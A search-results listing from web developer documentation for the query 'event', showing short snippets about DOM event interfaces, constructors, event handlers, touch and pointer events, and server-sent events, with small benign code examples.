Search completed in 2.00 seconds.
4309 results for "event":
Your results are loading. Please wait...
EventTarget.addEventListener() - Web APIs
the eventtarget method addeventlistener() sets up a function that will be called whenever the specified event is delivered to the target.
... common targets are element, document, and window, but the target may be any object that supports events (such as xmlhttprequest).
... addeventlistener() works by adding a function or an object that implements eventlistener to the list of event listeners for the specified event type on the eventtarget on which it's called.
...And 95 more matches
MouseEvent.initMouseEvent() - Web APIs
the mouseevent.initmouseevent() method initializes the value of a mouse event once it's been created (normally using the document.createevent() method).
... events initialized in this way must have been created with the document.createevent() method.
... this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
...And 34 more matches
Event.eventPhase - Web APIs
WebAPIEventeventPhase
the eventphase read-only property of the event interface indicates which phase of the event flow is currently being evaluated.
... syntax let phase = event.eventphase; value returns an integer value which specifies the current evaluation phase of the event flow.
... possible values are listed in event phase constants.
...And 21 more matches
EventTarget.removeEventListener() - Web APIs
the eventtarget.removeeventlistener() method removes from the eventtarget an event listener previously registered with eventtarget.addeventlistener().
... the event listener to be removed is identified using a combination of the event type, the event listener function itself, and various optional options that may affect the matching process; see matching event listeners for removal syntax target.removeeventlistener(type, listener[, options]); target.removeeventlistener(type, listener[, usecapture]); parameters type a string which specifies the type of event for which to remove an event listener.
... listener the eventlistener function of the event handler to remove from the event target.
...And 19 more matches
Event.initEvent() - Web APIs
WebAPIEventinitEvent
the event.initevent() method is used to initialize the value of an event created using document.createevent().
... events initialized in this way must have been created with the document.createevent() method.
... this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
...And 15 more matches
EventTarget.dispatchEvent() - Web APIs
dispatches an event at the specified eventtarget, (synchronously) invoking the affected eventlisteners in the appropriate order.
... the normal event processing rules (including the capturing and optional bubbling phase) also apply to events dispatched manually with dispatchevent().
... syntax cancelled = !target.dispatchevent(event) parameter event is the event object to be dispatched.
...And 15 more matches
SecurityPolicyViolationEvent.SecurityPolicyViolationEvent() - Web APIs
the securitypolicyviolationevent constructor creates a new securitypolicyviolationevent object instance.
... syntax let spvevt = new securitypolicyviolationevent(type, eventinitdict); properties type a domstring representing the type of security policy violation that occurred.
... eventinitdict optional a dictionary object containing information about the properties of the securitypolicyviolationevent to be constructed.
...And 15 more matches
UIEvent.initUIEvent() - Web APIs
the uievent.inituievent() method initializes a ui event once it's been created.
... events initialized in this way must have been created with the document.createevent() method.
... this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
...And 15 more matches
KeyboardEvent.initKeyEvent() - Web APIs
the keyboardevent.initkeyevent() method is used to initialize the value of an event created using document.createevent("keyboardevent").
... events initialized in this way must have been created with the document.createevent("keyboardevent") method.
... initkeyevent() must be called to set the event before it is dispatched.
...And 11 more matches
PointerEvent.PointerEvent() - Web APIs
the pointerevent() constructor creates a new synthetic and untrusted pointerevent object instance.
... syntax event = new pointerevent(type, pointereventinit); arguments type is a domstring representing the name of the event (see pointerevent event types).
... pointereventinitoptional is a pointereventinit dictionary, having the following fields: pointerid — optional and defaulting to 0, of type long, that sets the value of the instance's pointerevent.pointerid.
...And 11 more matches
MSManipulationEvent.initMSManipulationEvent() - Web APIs
the initmsmanipulationevent method is used to create a msmanipulationevent that can be called from javascript.
...beginning with the microsoft edge browser, the initevent() constructor pattern for synthetic events is deprecated.
... syntax msmanipulationevent.initmsmanipulationevent(typearg, canbubblearg, cancelablearg, viewarg, detailarg, laststate, currentstate); parameters typearg [in] type: domstring the type of the event being created.
...And 10 more matches
CustomEvent.initCustomEvent() - Web APIs
the customevent.initcustomevent() method initializes a customevent object.
... if the event has already been dispatched, this method does nothing.
... events initialized in this way must have been created with the document.createevent() method.
...And 9 more matches
Event.preventDefault() - Web APIs
the event interface's preventdefault() method tells the user agent that if the event does not get explicitly handled, its default action should not be taken as it normally would be.
... the event continues to propagate as usual, unless one of its event listeners calls stoppropagation() or stopimmediatepropagation(), either of which terminates propagation at once.
... as noted below, calling preventdefault() for a non-cancelable event, such as one dispatched via eventtarget.dispatchevent(), without specifying cancelable: true has no effect.
...And 9 more matches
CloseEvent.initCloseEvent() - Web APIs
the closeevent.initcloseevent() method initializes the value of a close event once it's been created (normally using the document.createevent() method).
... events initialized in this way must have been created with the document.createevent() method.
... this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
...And 8 more matches
AnimationEvent.initAnimationEvent() - Web APIs
summary the animationevent.initanimationevent() method initializes an animation event created using the deprecated document.createevent("animationevent") method.
... animationevent created this way are untrusted.
...do not use this method; instead, use the standard constructor, animationevent(), to create a synthetic animationevent.
...And 5 more matches
Supporting both TouchEvent and MouseEvent - Web APIs
consequently, even if a browser supports touch, the browser must still emulate mouse events so content that assumes mouse-only input will work as is without direct modification.
...however, because the browser must emulate mouse events, there may be some interaction issues that need to be handled.
... event firing the touch events standard defines a few browser requirements regarding touch and mouse interaction (see the interaction with mouse events and click section for details), noting the browser may fire both touch events and mouse events in response to the same user input.
...And 5 more matches
KeyboardEvent.initKeyboardEvent() - Web APIs
the keyboardevent.initkeyboardevent() method initializes the attributes of a keyboard event object.
... this method was introduced in draft of dom level 3 events, but deprecated in newer draft.
... syntax kbdevent.initkeyboardevent(typearg, canbubblearg, cancelablearg, viewarg, chararg, keyarg, locationarg, modifierslistarg, repeat) parameters typearg the type of keyboard event; this will be one of keydown, keypress, or keyup.
...And 4 more matches
PushEvent.PushEvent() - Web APIs
the pushevent() constructor creates a new pushevent object.
... syntax var mypushevent = new pushevent(type, eventinitdict); parameters type a domstring defining the type of pushevent.
... eventinitdict optional an options object containing any initialization data you want to populate the pushevent object with.
...And 4 more matches
AnimationPlaybackEvent.AnimationPlaybackEvent() - Web APIs
the animationplaybackevent() constructor of the web animations api returns a new animationplaybackevent object instance.
... syntax var animationplaybackevent = new animationplaybackevent(type, eventinitdict); parameters type a domstring representing the name of the event.
... eventinitdict optional an optional eventinit dictionary object containing the following fields: bubbles optional defaults to false, of type boolean, indicating if the event bubbles or not.
...And 3 more matches
CompositionEvent.initCompositionEvent() - Web APIs
the initcompositionevent() method of the compositionevent interface initializes the attributes of a compositionevent object instance.
... syntax compositioneventinstance.initcompositionevent(typearg, canbubblearg, cancelablearg, viewarg, dataarg, localearg) parameters typearg a domstring representing the type of composition event; this will be one of compositionstart, compositionupdate, or compositionend.
... canbubblearg a boolean specifying whether or not the event can bubble.
...And 3 more matches
MessageEvent.MessageEvent() - Web APIs
the messageevent() constructor creates a new messageevent object instance.
... syntax var messageevent = new messageevent(type, init); parameters type the type of messageevent that will be created.
... this can be one of xxx init optional a dictionary object that can contain the following properties: data: the data you want contained in the messageevent.
...And 3 more matches
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
the offlineaudiocompletionevent() constructor of the web audio api creates a new offlineaudiocompletionevent object instance.
...offlineaudiocompletionevents are despatched to offlineaudiocontext instances for legacy reasons.
... syntax var offlineaudiocompletionevent = new offlineaudiocompletionevent(type, init) parameters type optional a domstring representing the type of object to create.
...And 3 more matches
PointerEvent.getCoalescedEvents() - Web APIs
the getcoalescedevents() method of the pointerevent interface returns a sequence of all pointerevent instances that were coalesced into the dispatched pointermove event.
... syntax var pointerevents[] = pointerevent.getcoalescedevents() parameters none.
... returns a sequence of pointerevent instances.
...And 3 more matches
ProgressEvent.initProgressEvent() - Web APIs
the progressevent.initprogressevent() method initializes an animation event created using the deprecated document.createevent("progressevent") method.
... progressevent created that way are untrusted.
...do not use it anymore, use the standard constructor, progressevent(), to create a synthetic progressevent syntax progress.initprogressevent(typearg, canbubblearg, cancelablearg, lengthcomputable, loaded, total); parameters typearg is a domstring identifying the specific type of animation event that occurred.
...And 3 more matches
SVGAnimationElement: endEvent event - Web APIs
the endevent event of the svganimationelement interface is fired when at the active end of the animation is reached.
... note: this event is not raised at the simple end of each animation repeat.
... this event may be raised both in the course of normal (i.e.
...And 3 more matches
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the serviceworkermessageevent() constructor creates a new serviceworkermessageevent object instance.
... syntax var myswme = new serviceworkermessageevent(type, init); parameters type a domstring that defines the type of the message event being created.
...And 3 more matches
TransitionEvent.initTransitionEvent() - Web APIs
the transitionevent.inittransitionevent() method initializes a transition event created using the deprecated document.createevent("transitionevent") method.
... transitionevent created that way are untrusted.
...do not use it anymore, use the standard constructor, transitionevent(), to create a synthetic transitionevent syntax transitionevent.inittransitionevent(typearg, canbubblearg, cancelablearg, transitionnamearg, elapsedtimearg); parameters typearg is a domstring identifying the specific type of transition event that occurred.
...And 3 more matches
BlobEvent.BlobEvent() - Web APIs
the blobevent() constructor returns a newly created blobevent object with an associated blob.
... syntax blobevent = new blobevent({data: aspecificblob}[, timecode]); arguments the blobevent() constructor also inherits arguments from event().
... data is a blob associated with the event.
...And 2 more matches
CompositionEvent.CompositionEvent() - Web APIs
the compositionevent() constructor creates a new compositionevent object instance.
... syntax const myevent = new compositionevent(typearg [, compositioneventinit]) values typearg is a domstring representing the name of the event.
... compositioneventinit optional a compositioneventinit dictionary object, which can contain the following members: data initializes the data attribute of the compositionevent object to the characters generated by the ime composition.
...And 2 more matches
Event.defaultPrevented - Web APIs
the defaultprevented read-only property of the event interface returns a boolean indicating whether or not the call to event.preventdefault() canceled the event.
... note: you should use this instead of the non-standard, deprecated getpreventdefault() method (see bug 691151).
... syntax var defaultwasprevented = event.defaultprevented; value a boolean, where true indicates that the default user agent action was prevented, and false indicates that it was not.
...And 2 more matches
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
the rtcdtmftonechangeevent() constructor creates a new rtcdtmftonechangeevent.
... syntax var event = new rtcdtmftonechangeevent(type, options); parameters type a domstring containing the name of the event.
... options a dictionary of type rtcdtmftonechangeeventinit, which may contain one or more of the following fields: tone a domstring containing a single dtmf tone character which has just begun to play, or an empty string ("") to indicate that the previous tone has stopped playing.
...And 2 more matches
SVGAnimationElement: repeatEvent event - Web APIs
the repeatevent event of the svganimationelement interface is fired when the element's local timeline repeats.
... note: associated with the repeatevent event is an integer that indicates which repeat iteration is beginning; this can be found in the detail property of the event object.
... the value is a 0-based integer, but the repeat event is not raised for the first iteration and so the observed values will be >= 1.
...And 2 more matches
ServiceWorkerMessageEvent.lastEventId - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the lasteventid read-only property of the serviceworkermessageevent interface represents, in server-sent events, the last event id of the event source.
... syntax var mylasteventid = serviceworkermessageeventinstance.lasteventid; value a domstring.
...And 2 more matches
dom.event.clipboardevents.enabled
dom.event.clipboardevents.enabled lets websites get notifications if the user copies, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected.
... the emitting of the oncopy, oncut and onpaste events are controlled by this preference.
... type:boolean default value:true exists by default: no application support: gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) status: active; last updated 2012-02-15 introduction: pushed to nightly on 2012-02-14 bugs: bug 542938 values true (default) the oncopy, oncut and onpaste events are enabled for web content.
... false the oncopy, oncut and onpaste events are disabled for web content.
EventListener.handleEvent() - Web APIs
the eventlistener method handleevent() method is called by the user agent when an event is sent to the eventlistener, in order to handle events that occur on an observed eventtarget.
... syntax eventlistener.handleevent(event); parameters event an event object describing the event that has been fired and needs to be processed.
... specifications specification status comment domthe definition of 'eventlistener.handleevent()' in that specification.
... document object model (dom) level 2 events specificationthe definition of 'eventlistener.handleevent()' in that specification.
ExtendableMessageEvent.lastEventId - Web APIs
the lasteventid read-only property of the extendablemessageevent interface represents, in server-sent events, the last event id of the event source.
... syntax var mylasteventid = extendablemessageevent.lasteventid; value a domstring.
... examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.lasteventid); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.lasteventid' in that specification.
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
the fontfacesetloadevent constructor creates a new fontfaceloadevent object which is fired whenever a fontfaceset loads.
... syntax var fontfacesetloadevent = new fontfacesetloadevent(type[, options]) parameters type the literal value 'type' (quotation marks included).
... specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent()' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfacesetloadevent() constructor experimentalchrome full support 57edge full support ≤79firefox ?
PaymentRequestUpdateEvent.PaymentRequestUpdateEvent() - Web APIs
the paymentrequestupdateevent constructor creates a new paymentrequestupdateevent object which enables a web page to update the details of a paymentrequest in response to a user action.
... syntax var paymentrequestupdateevent = new paymentrequestupdateevent() parameters none.
... return value a new paymentrequestupdateevent object.payment request apithe definition of 'paymentrequestupdateevent' in that specification.
... specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent()' in that specification.
SVGAnimationElement: beginEvent event - Web APIs
the beginevent event of the svganimationelement interface is fired when the element local timeline begins to play.
... bubbles no cancelable no interface timeevent event handler property onbegin examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #...
...ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the begin event using the onbegin event handler property: animateelem.onbegin...
... = () => { console.log('beginevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'beginevent' in that specification.
SyncEvent.SyncEvent() - Web APIs
the syncevent() constructor creates a new syncevent object.
... syntax var mysyncevent = new syncevent(type, init) parameters type the type of the event.
... init optional an options object containing any custom settings that you want to apply to the event object.
... options are as follows: tag: a developer-defined unique identifier for this syncevent.
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
the deviceorientationevent constructor creates a new deviceorientationevent.
... syntax var deviceorientationevent = new deviceorientationevent(type[, options]) parameters type either "deviceorientation" or "deviceorientationabsolute".
... specifications specification status comment deviceorientation event specification editor's draft initial definition.
EventSource: message event - Web APIs
the message event of the eventsource api is fired when data is received through an event source.
... bubbles no cancelable no interface messageevent event handler property eventsource.onmessage examples in this basic example, an eventsource is created to receive events from the server; a page with the name sse.php is responsible for generating the events.
... var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.addeventlistener('message', (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }); onmessage equivalent evtsource.onmessage = (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }; specifications specification status html living standardthe definition of 'message event' in that specification.
InstallEvent.InstallEvent() - Web APIs
the installevent() constructor creates a new installevent object.
... syntax var myinstallevent = new installevent(type, init); parameters type the type of the event.
... init optional an options object containing any custom settings that you want to apply to the event object.
MediaQueryListEvent.MediaQueryListEvent() - Web APIs
the mediaquerylistevent constructor creates a new mediaquerylistevent instance.
... syntax var mymqlevent = new mediaquerylistevent(init); parameters init an init object that defines features of the new object instance.
... examples var media = '(max-width: 600px)'; var matches = true; var mymediaquerylistevent = new mediaquerylistevent({media, matches}); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent()' in that specification.
MessageEvent.lastEventId - Web APIs
the lasteventid read-only property of the messageevent interface is a domstring representing a unique id for the event.
... syntax var myid = messageevent.lasteventid; value a domstring representing the id.
... example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.lasteventid); }; specifications specification status comment html living standardthe definition of 'messageevent: lasteventid' in that specification.
NotificationEvent.NotificationEvent() - Web APIs
the notificationevent() constructor creates a new notificationevent object.
... syntax var mynotificationevent = new notificationevent(type, notificationeventinit); parameters type tbd notificationeventinit optional a dictionary object containing a notification object to be used as the notification the event is dispatched on.
... example var n = new notification('hello'); var init = { notification: n }; var mynotificationevent = new notificationevent(type, init); specifications specification status comment notifications apithe definition of 'notificationevent() constructor' in that specification.
SensorErrorEvent.SensorErrorEvent() - Web APIs
the sensorerrorevent constructor creates a new sensorerrorevent object which provides information about errors thrown by any of the interfaces based on sensor.
... syntax sensorerrorevent = new sensorerrorevent(type, {error: domexception}); parameters type will always be 'sensorerrorevent'.
... specifications specification status comment generic sensor apithe definition of 'sensorerrorevent' in that specification.
DeviceMotionEvent.DeviceMotionEvent() - Web APIs
the devicemotionevent constructor creates a new devicemotionevent.
... syntax var devicemotionevent = new devicemotionevent(type[, options]) parameters type must be "devicemotion".
EventSource: error event - Web APIs
the error event of the eventsource api is fired when a connection with an event source fails to be opened.
... bubbles no cancelable no interface event or errorevent event handler property eventsource.onerror examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('error', (e) => { console.log("an error occurred while attempting to connect."); }); // onerror version evtsource.onerror = (e) => { console.log("an error occurred while attempting to connect."); }; specifications specification status html living standardthe definition of 'error event' in that specification.
EventSource: open event - Web APIs
the open event of the eventsource api is fired when a connection with an event source is opened.
... bubbles no cancelable no interface event event handler property eventsource.onopen examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('open', (e) => { console.log("the connection has been established."); }); // onopen version evtsource.onopen = (e) => { console.log("the connection has been established."); }; specifications specification status html living standardthe definition of 'open event' in that specification.
Event reference
dom events are sent to notify code of interesting things that have taken place.
... each event is represented by an object which is based on the event interface, and may have additional custom fields and/or functions used to get additional information about what happened.
... events can represent everything from basic user interactions to automated notifications of things happening in the rendering model.
...And 221 more matches
XUL Events - Archive of obsolete content
« xul reference home the following tables and sections describe the event handler that are valid for most xul elements.
... the events listeners can be attached using addeventlistener and removed using removeeventlistener.
... some of the events can be attached using attributes as well.
...And 104 more matches
GlobalEventHandlers - Web APIs
the globaleventhandlers mixin describes the event handlers common to several interfaces like htmlelement, document, or window.
... each of these interfaces can, of course, add more event handlers in addition to the ones listed below.
... note: globaleventhandlers is a mixin and not an interface; you can't actually create an object of type globaleventhandlers.
...And 96 more matches
Introduction to events - Learn web development
previous overview: building blocks next events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired.
...in this article, we discuss some important concepts surrounding events, and look at how they work in browsers.
... objective: to understand the fundamental theory of events, how they work in browsers, and how events may differ in different programming environments.
...And 92 more matches
nsIAccessibleEvent
accessible/public/nsiaccessibleevent.idlscriptable an interface for accessibility events listened to by in-process accessibility clients, which can be used to find out how to get accessibility and dom interfaces for the event and its target.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description accessible nsiaccessible the nsiaccessible associated with the event.
... accessibledocument nsiaccessibledocument the nsiaccessibledocument that the event target nsiaccessible resides in.
...And 89 more matches
Adding a new event
this draft document covers how to add a new event to the mozilla (firefox) source code.
... what type of event do you want?
... roughly, there are 3 types of event.
...And 72 more matches
KeyboardEvent - Web APIs
keyboardevent objects describe a user interaction with the keyboard; each event describes a single interaction between the user and a key (or combination of a key with modifier keys) on the keyboard.
... the event type (keydown, keypress, or keyup) identifies what kind of keyboard activity occurred.
... note: keyboardevent events just indicate what interaction the user had with a key on the keyboard at a low level, providing no contextual meaning to that interaction.
...And 67 more matches
Gecko events
« at apis support page this page offers a list of accessibility-related events supported by gecko.
... event constants are defined in nsiaccessibleevent interface.
... event_dom_create an object has been created.
...And 63 more matches
Pointer events - Web APIs
however, since many devices support other types of pointing input devices, such as pen/stylus and touch surfaces, extensions to the existing pointing device event models are needed.
... pointer events address that need.
... pointer events are dom events that are fired for a pointing device.
...And 58 more matches
Adding Event Handlers - Archive of obsolete content
we'll define some functions in the file and we can call them in event handlers.
...for example, you may use urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this.
... responding to events the script will contain code which responds to various events triggered by the user or other situations.
...And 54 more matches
More Event Handlers - Archive of obsolete content
« previousnext » in this section, the event object is examined and additional events are described.
... the event object every event handler is passed an event object.
... in the attribute form of the event handler, the event object is an implied argument to the script code which can be referred to using the name 'event'.
...And 50 more matches
nsIDOMEvent
dom/interfaces/events/nsidomevent.idlscriptable this interface is the primary data type for all events in the document object model.
... inherits from: nsisupports last changed in gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13) note: as of gecko 16.0, the nsiprivatedomevent interface was merged into this interface.
... nseventptr getinternalnsevent(); violates the xpcom interface guidelines boolean getpreventdefault(); deprecated since gecko 16.0 void initevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg); boolean isdispatchstopped(); violates the xpcom interface guidelines void preventbubble(); obsolete since gecko 24 void preventcapture(); obsolete since gecko 24 void preventdefault(); void serialize(in ipcmessageptr amsg...
...And 49 more matches
MouseEvent - Web APIs
the mouseevent interface represents events that occur due to the user interacting with a pointing device (such as a mouse).
... common events using this interface include click, dblclick, mouseup, mousedown.
... mouseevent derives from uievent, which in turn derives from event.
...And 47 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
what we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data.
... objective: to learn about handling forms in vue, and by association, events, models, and methods.
... </label> <input type="text" id="new-todo-input" name="new-todo" autocomplete="off" /> <button type="submit"> add </button> </form> </template> so we now have a form component into which we can enter the title of a new todo item (which will become a label for the corresponding todoitem when it is eventually rendered).
...And 46 more matches
PopupEvents - Archive of obsolete content
popup events there are several events related to popups and menus.
... an overview of these is listed below: contextmenu this event is fired when a request is made to open a context menu, whether by the keyboard or mouse.
... this event will be fired even for elements that don't have a context menu associated with them.
...And 45 more matches
Event - Web APIs
WebAPIEvent
the event interface represents an event which takes place in the dom.
... an event can be triggered by the user action e.g.
...it can also be triggered programmatically, such as by calling the htmlelement.click() method of an element, or by defining the event, then sending it to a specified target using eventtarget.dispatchevent().
...And 43 more matches
PointerEvent - Web APIs
the pointerevent interface represents the state of a dom event produced by a pointer such as the geometry of the contact point, the device type that generated the event, the amount of pressure that was applied on the contact surface, etc.
... a pointer's hit test is the process a browser uses to determine the target element for a pointer event.
... constructors pointerevent() creates a synthetic—and untrusted—pointerevent.
...And 42 more matches
XUL Event Propagation - Archive of obsolete content
this article describes the event model in xul and features event propagation as a way to handle events in different places in the interface.
... introduction xul events were introduced in a very general way in a previous xulnote.
... but to use events effectively in xul, you must be aware of what the actual process for raising, listening to, and handling events is.
...And 41 more matches
Overview of events and handlers - Developer guides
this overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it summarizes the types of such incidents modern web browsers can handle.
... events and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing.
... events and event handling become central to web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering.
...And 36 more matches
TouchEvent - Web APIs
the touchevent interface represents an uievent which is sent when the state of contacts with a touch-sensitive surface changes.
...the event can describe one or more points of contact with the screen and includes support for detecting movement, addition and removal of contact points, and so forth.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke...
...And 35 more matches
Listening to events in Firefox extensions - Archive of obsolete content
gecko uses events to pass information about interesting things that have occurred along to the parties that may wish to know about them.
... there are several different categories of events; this article will help you learn about them and direct you to more specific documentation covering each of them.
... types of events there are multiple types of events that application and extension authors can use to receive notifications from <xul:browser> and <xul:tabbrowser> elements to hear about changes relating to loads of the content contained within them.
...And 33 more matches
NPEvent - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents an event passed by npp_handleevent() to a windowless plug-in.
... syntax microsoft windows typedef struct _npevent { uint16 event; uint32 wparam; uint32 lparam; } npevent; mac os typedef eventrecord npevent; type eventrecord = record { what: integer; message: longint; when: longint; where: point; modifiers: integer; end; xwindows typedef xevent npevent; fields npevent on microsoft windows the data structure has the following fields: event one of the following event types: wm_paint wm_lbuttondown wm_lbuttonup wm_lbuttondblclk wm_rbuttondown wm_rbuttonup wm_rbuttondblclk wm_mbuttondown wm_mbuttonup wm_mbuttondblclk wm_mousemove wm_keyup wm_keydown wm_setcursor wm_setfocus wm_killfocus for information about these events, see the microsoft windows developer documentati...
...wparam 32 bit field for the windows event parameter; parameter value depends upon event type.
...And 33 more matches
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
the keyboardevent interface's key read-only property returns the value of the key pressed by the user, taking into consideration the state of modifier keys such as shift as well as the keyboard locale and layout.
... if the keyboardevent represents the press of a dead key, the key value must be "dead".
... some specialty keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on windows; instead, they trigger wm_appcommand events.
...And 33 more matches
Adding Events and Commands - Archive of obsolete content
« previousnext » event handlers just like with html, most javascript code execution is triggered by event handlers attached to dom elements.
... the most commonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here.
... window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload event, to do any cleanup you may need.
...And 32 more matches
CustomEvent - Web APIs
the customevent interface represents events initialized by an application for any purpose.
... constructor customevent() creates a customevent.
... properties customevent.detail read only any data passed when initializing the event.
...And 32 more matches
event/target - Archive of obsolete content
create objects that broadcast events.
... users of the object can listen to the events using the standard on() and once() functions.
... usage many objects in the sdk can broadcast events.
...And 31 more matches
Using Touch Events - Web APIs
however, devices with touch screens (especially portable devices) are mainstream and web applications can either directly process touch-based input by using touch events or the application can use interpreted mouse events for the application input.
... a disadvantage to using mouse events is that they do not support concurrent user input, whereas touch events support multiple simultaneous inputs (possibly at different locations on the touch surface), thus enhancing user experiences.
... the touch events interfaces support application specific single and multi-touch interactions such as a two-finger gesture.
...And 31 more matches
nsIEventListenerService
content/events/public/nsieventlistenerservice.idlscriptable a service that can be used to get a list of listeners observing events; this is primarily useful for debuggers.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/eventlistenerservice;1.
... to create an instance, use: var eventlistenerservice = components.classes["@mozilla.org/eventlistenerservice;1"] .getservice(components.interfaces.nsieventlistenerservice); universalxpconnect privileges are required to use this service.
...And 30 more matches
pointer-events - CSS: Cascading Style Sheets
the pointer-events css property sets under what circumstances (if any) a particular graphic element can become the target of pointer events.
... syntax /* keyword values */ pointer-events: auto; pointer-events: none; pointer-events: visiblepainted; /* svg only */ pointer-events: visiblefill; /* svg only */ pointer-events: visiblestroke; /* svg only */ pointer-events: visible; /* svg only */ pointer-events: painted; /* svg only */ pointer-events: fill; /* svg only */ pointer-events: stroke; /* svg only */ pointer-events: all; /* svg only */ /* global values */ pointer-events: inherit; pointer-events: initial; pointer-events: unset; the pointer-events property is ...
... values auto the element behaves as it would if the pointer-events property were not specified.
...And 28 more matches
DOM onevent handlers - Developer guides
the web platform provides several ways to be notified of dom events.
... two common approaches are addeventlistener() and the specific onevent handlers.
... registering onevent handlers the onevent handlers are properties on certain dom elements to manage how that element reacts to events.
...And 28 more matches
Creating Custom Events That Can Pass Data
this page describes how to implement custom dom events that can be used to pass data.
...for example, if you want firefox to perform an action whenever something happens (i.e., something other than the standard mouse/keyboard events) and, depending on the data passed along with this event, you want firefox to react differently.
... note that starting with version 6, firefox supports dom level 3 customevent, which lets you dispatch custom events with arbitrary data from javascript.
...And 27 more matches
Using server-sent events - Web APIs
developing a web application that uses server-sent events is straightforward.
... you'll need a bit of code on the server to stream events to the front-end, but the client side code works almost identically to websockets in part of handling incoming events.
... this is one-way connection, so you can't send events from a client to a server.
...And 27 more matches
Drawing and Event Handling - Plugins
« previousnext » this chapter tells how to determine whether a plug-in instance is windowed or windowless, how to draw and redraw plug-ins, and how to handle plug-in events.
... the plug-in uses these methods to draw plug-ins and to handle events: plug-in methods, called by the browser: npp_handleevent: deliver a platform-specific event to the instance.
...the plug-in has complete control over drawing and event handling within that window.
...And 26 more matches
Touch events - Web APIs
to provide quality support for touch-based user interfaces, touch events offer the ability to interpret finger (or stylus) activity on touch screens or trackpads.
... the touch events interfaces are relatively low-level apis that can be used to support application-specific multi-touch interactions such as a two-finger gesture.
